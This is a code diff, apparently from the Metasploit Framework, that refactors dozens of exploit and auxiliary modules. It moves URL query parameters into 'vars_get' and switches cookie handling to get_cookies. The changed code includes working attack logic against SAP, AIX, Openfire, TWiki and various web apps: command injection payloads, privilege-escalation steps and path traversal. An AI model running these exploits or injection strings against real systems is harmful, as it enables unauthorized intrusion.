|
||||
'vars_get' => {
|
||||
'sap-client' => client,
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code != 500 and res.code != 200
|
||||
if res and res.body =~ /<h1>Logon failed<\/h1>/
|
||||
print_error("[SAP] #{ip}:#{rport} - login failed!")
|
||||
|
|
|
@ -83,19 +83,20 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'headers' =>{
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
#'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
#'Authorization' => 'Basic ' + user_pass,
|
||||
#'Content-Type' =>
|
||||
}
|
||||
})
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code != 500 and res.code != 200
|
||||
# to do - implement error handlers for each status code, 404, 301, etc.
|
||||
if res.body =~ /<h1>Logon failed<\/h1>/
|
||||
|
|
|
@ -70,17 +70,20 @@ class Metasploit4 < Msf::Auxiliary
|
|||
begin
|
||||
vprint_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}'")
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>
|
||||
{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
|
||||
}
|
||||
})
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code == 200
|
||||
if res.body =~ /<h1>Logon failed<\/h1>/
|
||||
vprint_error("[SAP] #{ip}:#{rport} - Logon failed")
|
||||
|
|
|
@ -73,16 +73,20 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>{
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
}
|
||||
})
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code != 500 and res.code != 200
|
||||
# to do - implement error handlers for each status code, 404, 301, etc.
|
||||
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
|
||||
|
|
|
@ -73,14 +73,18 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code != 500 and res.code != 200
|
||||
|
|
|
@ -89,14 +89,18 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_SYSTEM_INFO request")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code != 500 and res.code != 200
|
||||
|
|
|
@ -64,14 +64,18 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>{
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code == 200
|
||||
|
|
|
@ -110,8 +110,22 @@ chmod 4555 #{root_file}
|
|||
cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH")
|
||||
cmd_exec("export PATH")
|
||||
|
||||
print_status("Finding interface name...")
|
||||
iface = ""
|
||||
cmd_exec("lsdev -Cc if").each_line do |line|
|
||||
if line.match(/^[a-z]+[0-9]+\s+Available/) and not line.match(/^lo[0-9]/)
|
||||
iface = line.split(/\s+/)[0]
|
||||
print_status("Found interface #{iface}.")
|
||||
break
|
||||
end
|
||||
end
|
||||
if iface == ""
|
||||
iface = "en0"
|
||||
print_status("Found no interface, defaulting to en0.")
|
||||
end
|
||||
|
||||
print_status("Triggering vulnerablity...")
|
||||
cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null")
|
||||
cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null")
|
||||
|
||||
# The $PATH variable must be restored before the payload is executed
|
||||
# in cases where an euid root shell was gained
|
||||
|
|
|
@ -103,8 +103,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/admin/system.html?step=2&device=lo#{cmd}",
|
||||
'cookie' => "usercookie=#{user}; passcookie=#{pass};",
|
||||
'uri' => '/admin/system.html',
|
||||
'cookie' => "usercookie=#{user}; passcookie=#{pass};",
|
||||
'vars_get' => {
|
||||
'step' => '2',
|
||||
'device' => "lo#{cmd}"
|
||||
}
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Failure::Unknown, 'Connection failed')
|
||||
|
|
|
@ -100,9 +100,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Authenticating as " + datastore['USERNAME'])
|
||||
login = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php?c=login'),
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => post
|
||||
'vars_post' => post,
|
||||
'vars_get' => {
|
||||
'c' => 'login',
|
||||
}
|
||||
})
|
||||
|
||||
if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/
|
||||
|
@ -134,9 +137,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Changing old password hash to notpassword")
|
||||
passchange = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'),
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => post
|
||||
'vars_post' => post,
|
||||
'vars_get' => {
|
||||
'c' => 'change_password'
|
||||
}
|
||||
})
|
||||
|
||||
if !passchange or passchange.code != 200
|
||||
|
@ -166,9 +172,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
|
||||
login = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php?c=login'),
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => post
|
||||
'vars_post' => post,
|
||||
'vars_get' => {
|
||||
'c' => 'login',
|
||||
}
|
||||
})
|
||||
|
||||
if !login or login.code != 200 or login.body !~ /admin<\/a>/
|
||||
|
@ -192,9 +201,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Sending payload")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php?c=netinterface'),
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => post,
|
||||
'vars_get' => {
|
||||
'c' => 'netinterface',
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
||||
|
|
|
@ -88,7 +88,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
auth = Rex::Text.encode_base64("#{user}:#{pass}")
|
||||
cmd = Rex::Text.uri_encode(";#{payload.encoded}&")
|
||||
lines = rand(100) + 1
|
||||
|
||||
|
@ -96,11 +95,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}",
|
||||
'headers' =>
|
||||
{
|
||||
'Authorization' => "Basic #{auth}"
|
||||
}
|
||||
'uri' => '/index.cgi',
|
||||
'authorization' => basic_auth(user, pass),
|
||||
'vars_get' => {
|
||||
'nlines' => lines,
|
||||
'action' => 'See logs',
|
||||
'id' => '2-2',
|
||||
'filelog' => cmd
|
||||
}
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Failure::Unreachable, 'Connection failed')
|
||||
|
|
|
@ -63,13 +63,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="),
|
||||
'uri' => normalize_uri(@uri.path, 'j_spring_security_check'),
|
||||
'method' => 'POST',
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'j_username' => Rex::Text.uri_encode(user, 'hex-normal'),
|
||||
'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'),
|
||||
'submit' => 'Sign+in'
|
||||
},
|
||||
'vars_get' => {
|
||||
'org.apache.catalina.filters.CSRF_NONCE' => ''
|
||||
}
|
||||
})
|
||||
|
||||
|
@ -81,8 +84,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#
|
||||
def get_nonce
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"),
|
||||
'cookie' => @cookie
|
||||
'uri' => normalize_uri(@uri.path, 'mastheadAttach.do'),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'typeId' => '10003'
|
||||
}
|
||||
})
|
||||
|
||||
if not res or res.code != 200
|
||||
|
|
|
@ -181,15 +181,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data << "\r\n--#{boundary}--"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"),
|
||||
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
}
|
||||
'headers' => {
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
},
|
||||
'vars_get' => {
|
||||
'uploadplugin' => nil
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
|
@ -199,11 +201,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if datastore['REMOVE_PLUGIN']
|
||||
print_status("Deleting plugin #{plugin_name} from the server")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase,
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
}
|
||||
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
|
||||
'headers' => {
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
},
|
||||
'vars_get' => {
|
||||
'deleteplugin' => plugin_name.downcase
|
||||
}
|
||||
})
|
||||
if not res
|
||||
print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
|
||||
|
|
|
@ -90,8 +90,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Get the cookie in this format:
|
||||
# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
|
||||
if res and res.headers['Set-Cookie']
|
||||
cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
|
||||
if res and !res.get_cookies.empty?
|
||||
cookie = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - No cookie found, will not continue")
|
||||
end
|
||||
|
@ -141,9 +141,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'vars_post' => login
|
||||
})
|
||||
|
||||
if res and res.headers['Set-Cookie'] =~ /user_name/
|
||||
user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
|
||||
pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
|
||||
if res and res.get_cookies =~ /user_name/
|
||||
c = res.get_cookies
|
||||
user = c.scan(/(user_name\@\w+=\w+);/)[0] || ""
|
||||
pass = c.scan(/(pass\@\w+=\w+)/)[0] || ""
|
||||
cookie_cred = "#{cookie}; #{user}; #{pass}"
|
||||
else
|
||||
cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
|
||||
|
|
|
@ -88,7 +88,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
fail_with("Login failed")
|
||||
end
|
||||
|
||||
sess = login.headers['Set-Cookie']
|
||||
sess = login.get_cookies
|
||||
|
||||
dash = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
|
|
|
@ -255,7 +255,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
# Detect the phpBB cookie name
|
||||
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
|
||||
if res.get_cookies =~ /(.*)_(sid|data)=/
|
||||
vprint_status("The server may require a cookie name of '#{$1}_data'")
|
||||
end
|
||||
|
||||
|
|
|
@ -56,11 +56,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'GET',
|
||||
}, 10)
|
||||
|
||||
if not (res and res.headers['set-cookie'])
|
||||
if res.nil? || res.get_cookies.empty?
|
||||
fail_with(Failure::NotFound, 'Could not obtain a Session ID')
|
||||
end
|
||||
|
||||
sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0]
|
||||
sessionid = 'PHPSESSID=' << res.get_cookies.split('PHPSESSID=')[1].split('; ')[0]
|
||||
|
||||
headers = {
|
||||
'Cookie' => sessionid,
|
||||
|
|
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/
|
||||
if not res or res.code != 302 or res.get_cookies !~ /FOSWIKISID=([0-9a-f]*)/
|
||||
vprint_status "#{res.code}\n#{res.body}"
|
||||
return nil
|
||||
end
|
||||
|
@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
vprint_good("validation_key found: #{validation_key}")
|
||||
|
||||
if session.empty?
|
||||
if res.headers['Set-Cookie'] =~ /FOSWIKISID=([0-9a-f]*)/
|
||||
if res.get_cookies =~ /FOSWIKISID=([0-9a-f]*)/
|
||||
session = $1
|
||||
else
|
||||
vprint_error("Error using anonymous access")
|
||||
|
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
if res.headers['Set-Cookie'] =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/
|
||||
if res.get_cookies =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/
|
||||
strike_one = $1
|
||||
else
|
||||
vprint_error("Error getting the FOSWIKISTRIKEONE value")
|
||||
|
|
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res and res.code == 303
|
||||
@session_id = res["Set-Cookie"]
|
||||
@session_id = res.get_cookies
|
||||
print_good "#{peer} - Authentication successful"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
|
||||
if res and res.code == 200 and res.get_cookies =~ /(.+)session/
|
||||
print_status("#{peer} - Cookie prefix #{$1} found")
|
||||
cookie_prefix = $1
|
||||
end
|
||||
|
|
|
@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Checking Access to Media Component...")
|
||||
res = get_upload_form
|
||||
|
||||
if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
|
||||
if res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /You are not authorised to view this resource/
|
||||
print_status("#{peer} - Authentication required... Proceeding...")
|
||||
|
||||
if @username.empty? or @password.empty?
|
||||
|
@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if not res or res.code != 303
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
|
||||
end
|
||||
elsif res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
elsif res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
print_status("#{peer} - Authentication isn't required.... Proceeding...")
|
||||
@cookies = res.get_cookies.sub(/;$/, "")
|
||||
else
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return '' if !res
|
||||
|
||||
nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
|
||||
cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0] || ''
|
||||
cookie = res.get_cookies.scan(/nagiosxi=(\w+); /).flatten[0] || ''
|
||||
return nsp, cookie
|
||||
end
|
||||
|
||||
|
|
|
@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 and res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/
|
||||
if res && res.code == 200 and res.get_cookies =~ /OpenEMR=([a-zA-Z0-9]+)/
|
||||
session = $1
|
||||
print_status("#{rhost}:#{rport} - Login successful")
|
||||
print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]")
|
||||
|
|
|
@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
token = $1
|
||||
cookie = response["Set-Cookie"]
|
||||
cookie = response.get_cookies
|
||||
|
||||
# There is probably a great deal of randomization that can be done with
|
||||
# this format.
|
||||
|
|
|
@ -112,10 +112,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => "user=#{user}&pass=#{pass}",
|
||||
}, 25)
|
||||
|
||||
if (res)
|
||||
if res
|
||||
print_status("Successfully logged in as #{user}:#{pass}")
|
||||
|
||||
if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
|
||||
if res.get_cookies =~ /my_id=(.*)/
|
||||
session = $1
|
||||
print_status("Successfully retrieved cookie: #{session}")
|
||||
return session
|
||||
|
|
|
@ -95,12 +95,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
})
|
||||
|
||||
if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']
|
||||
if res.nil? or res.headers['Location'] =~ /action=Login/ or res.get_cookies.empty?
|
||||
print_error("#{peer} - Login failed with \"#{username}:#{password}\"")
|
||||
return
|
||||
end
|
||||
|
||||
if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/
|
||||
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
|
||||
session_id = $1
|
||||
else
|
||||
print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
|
||||
|
|
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
vprint_status "We received the expected HTTP code #{target_code}"
|
||||
|
||||
# We will need the cookie PHPSESSID to continue
|
||||
cookies = response.headers['Set-Cookie']
|
||||
cookies = response.get_cookies
|
||||
|
||||
# Make sure cookies were set
|
||||
if defined? cookies and cookies =~ PHPSESSID_REGEX
|
||||
|
@ -145,7 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status "The server responded to POST with HTTP code #{delivery_response.code}"
|
||||
|
||||
# We will need the cookie PHPSESSID to continue
|
||||
cookies = delivery_response.headers['Set-Cookie']
|
||||
cookies = delivery_response.get_cookies
|
||||
|
||||
# Make sure cookies were set
|
||||
if cookies.nil?
|
||||
|
|
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/
|
||||
if not res or res.code != 302 or res.get_cookies !~ /TWIKISID=([0-9a-f]*)/
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
vprint_good("crypttoken found: #{crypttoken}")
|
||||
|
||||
if session.empty?
|
||||
if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/
|
||||
if res.get_cookies =~ /TWIKISID=([0-9a-f]*)/
|
||||
session = $1
|
||||
else
|
||||
vprint_error("Error using anonymous access")
|
||||
|
@ -225,4 +225,4 @@ end
|
|||
|
||||
%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
|
||||
|
||||
=end
|
||||
=end
|
||||
|
|
|
@ -157,7 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie']
|
||||
if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and !res.get_cookies.empty?
|
||||
session = res.get_cookies
|
||||
else
|
||||
return nil
|
||||
|
|
|
@ -75,9 +75,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
}, 25)
|
||||
|
||||
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
|
||||
if res and res.code == 302 and res.get_cookies =~ /sid/
|
||||
vprint_good "#{peer} - Authentication successful"
|
||||
session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
|
||||
session = res.get_cookies.split("sid=")[1].split(";")[0]
|
||||
else
|
||||
vprint_error "#{peer} - Service found, but authentication failed"
|
||||
return Exploit::CheckCode::Detected
|
||||
|
@ -118,8 +118,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
}, 25)
|
||||
|
||||
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
|
||||
session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
|
||||
if res and res.code == 302 and res.get_cookies =~ /sid/
|
||||
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
|
||||
if session and not session.empty?
|
||||
print_good "#{peer} - Authentication successfully"
|
||||
else
|
||||
|
|
|
@ -215,11 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
|
||||
end
|
||||
|
||||
admin_cookie = ''
|
||||
(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
|
||||
admin_cookie << cookie.split(';')[0]
|
||||
admin_cookie << ';'
|
||||
end
|
||||
admin_cookie = res.get_cookies
|
||||
|
||||
if admin_cookie.empty?
|
||||
fail_with(Failure::UnexpectedReply, 'The resulting cookie was empty')
|
||||
|
|
|
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::NoAccess, "#{peer} - Login failed")
|
||||
end
|
||||
|
||||
res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''
|
||||
res.get_cookies.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''
|
||||
end
|
||||
|
||||
|
||||
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res
|
||||
|
||||
token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || ''
|
||||
sid = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''
|
||||
sid = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''
|
||||
fail_with(Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty?
|
||||
|
||||
return token, sid
|
||||
|
|
|
@ -64,15 +64,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/robohelp/server?PUBLISH=' + uid,
|
||||
'uri' => '/robohelp/server',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'data' => file,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
|
||||
'UID' => uid,
|
||||
}
|
||||
'headers' => {
|
||||
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
|
||||
'UID' => uid,
|
||||
},
|
||||
'vars_get' => {
|
||||
'PUBLISH' => uid
|
||||
}
|
||||
}, 5)
|
||||
|
||||
if ( res and res.message =~ /OK/ )
|
||||
